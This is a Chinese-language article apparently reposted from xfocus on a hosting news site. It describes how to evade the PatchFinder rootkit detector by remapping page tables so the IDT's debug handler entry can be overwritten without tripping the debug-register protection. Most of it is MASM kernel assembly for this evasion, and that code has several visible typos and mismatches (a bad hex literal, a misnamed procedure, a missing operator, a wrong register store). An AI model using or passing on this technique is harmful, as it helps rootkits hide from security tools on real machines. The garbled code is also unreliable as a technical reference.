绕过WindowsRootkit检测系统
2008-04-09 04:11:10来源:互联网 阅读 ()
绕过Windows Rootkit检测系统 from:xfocus
[介绍]
PatchFinder是一个设计很巧妙的程序,基于EPA(执行路径分析)技术用来检测侵入内核的Rootkit。附录1和2可以让你了解它是如何工作的。这篇文章将提供一种绕开EPA的方法。
[方法]
EPA基于Intel处理器的单步模式,使用中断描述符表(IDT)的0x01入口。为了防止Rootkit修改这个入口,它使用调试寄存器(DR0、DR1)来保护调试处理程序(很不错的主意)。由DR0寄存器保护0x1入口,而由DR1寄存器保护中断处理程序。(注1:)
但是,让我们再读一遍Inter Manual [3]:“每个调试地址寄存器(DR0到DR3)保存32位的断点的线性地址”。注意:线性地址!在Windows 2000/XP下,通过分页机制把线性地址转换为物理地址。假设IDT的基地址是在0x8003F400,保存在IDTR中,那么IDT的0x01入口地址就是0x8003F408。Intel有关IDTR的说明:“基地址标明了IDT的0x00入口地址。”WIndows 2000/XP下由CR3寄存器指向的页目录被映射到线性地址0xC0300000。线性地址是由目录、表和偏移组成,通过分页机制我们将0x8003F408转换为物理地址就是0x03F00(由实验中得来)。现在我们要做的就是创建一个缓冲区,获取指向缓冲区的指针并修改页目录和页表使这个缓冲区指向物理地址0x03F00。然后,向这个缓冲区中写入的东西就会写入IDT,并且不会触发PatchFinder的保护机制。调试寄存器是根本无法保护内存的,因为它们无法保护物理内存。
[源代码]
这里是源代码,由MASM v8.0汇编。因为我喜欢汇编语言:-)完全的源代码可以在www.rootkit.com找到。
;---定义IDTR结构-------
DIDTR STRUCT ;IDTR
dLIMIT WORD ?
ibase DWORD ?
DIDTR ENDS
;-----------------------
ByepassIDTProtection PROC
LOCAL dbgHandler:DWORD
LOCAL myIDT:DIDTR
LOCAL idtbase:DWORD
LOCAL idtbaseoff:DWORD
LOCAL idtPDE:DWORD
LOCAL idtPDEaddr:DWORD
LOCAL idtPTE:DWORD
LOCAL idtPTEaddr:DWORD
LOCAL varbase:DWORD
LOCAL varbaseoff:DWORD
LOCAL varPDE:DWORD
LOCAL varPDEaddr:DWORD
LOCAL varPTE:DWORD
LOCAL varPTEaddr:DWORD
LOCAL diffoffset:DWORD
pushad
;分配一个页大小的内存(从非分页池中分配)
invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h
mov varbase,eax
cli ;记得恢复
invoke DisablePageProtection ;对XP,Regmon使用的一个很老的技巧
sidt myIDT
mov eax,myIDT.ibase
add eax,08h
mov idtbase,eax ;idtbase = IDT的基地址 8字节
and eax,0FFC00000h ;获取IDT地址的目录索引
shr eax,22
shl eax,2 ;乘与4
mov ebx,0C0300000h ;0C0300000 = 页目录
add ebx,eax ;ebx = [页目录 目录索引*4]
mov idtPDEaddr,ebx
mov eax,[ebx]
mov idtPDE,eax ;eax = IDT地址的页目录入口(PDE)
mov eax,idtbase
and eax,oFFFh ;获取IDT地址的低12位 = 页内偏移 mov idtbaseoff,eax
mov eax,idtbase
shr eax,12 ;获取IDT地址的高12位
shl eax,2 ;乘与4
mov ebx,0C0000000h ;进程页表映射在0xC0000000开始的4MB空间中
add ebx,eax
mov idtPTEaddr,eax ;IDT地址的PTE的地址
mov eax,[ebx]
mov idtPTE,eax ;取该地址的PTE
mov eax,varbase
and eax,0FFC00000h ;获取varbase的页目录索引
shr eax,22
shl eax,2
mov ebx,0C0300000h
add ebx,eax
mov varPDEaddr,ebx
mov eax,[ebx]
mov varPDE,eax
mov eax,varbase
and eax,0FFFh
mov varbaseoff,eax
mov eax,varbase
shr eax,12
shl eax,2
mov ebx,0C0000000h
add ebx,eax
mov varPTEaddr,ebx
mov eax,[ebx]
mov varPTE,eax
mov eax,varPDEaddr ;修改PDE为和IDT0x01的一样
mov ebx,idtPDE
mov [eax],ebx
mov eax,varPTEaddr ;修改PTE为和IDT0x01的一样
mov ebx,idtPTE
mov [eax],ebx
mov ebx,idtbaseoff ;修正页内偏移
mov eax,varbaseoff
sub ebx,eax
;现在我们可以使用线性地址向IDT的0x01描述符内写入东西而不会触发调试寄存器
mov eax,varbase
mov dword ptr [eax ebx],0DEADBEEFh
mov eax,varPDEaddr ;恢复原来的值
mov ebx,varPDE
mov [eax],ebx
mov eax,varPTEaddr ;恢复原来的值
mov ebx,varPTE
mov [eax],ebx
invoke EnablePageProtection ;恢复CR0寄存器的WP标志
sti
popad
ret
BypassIDTProtection ENDP
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash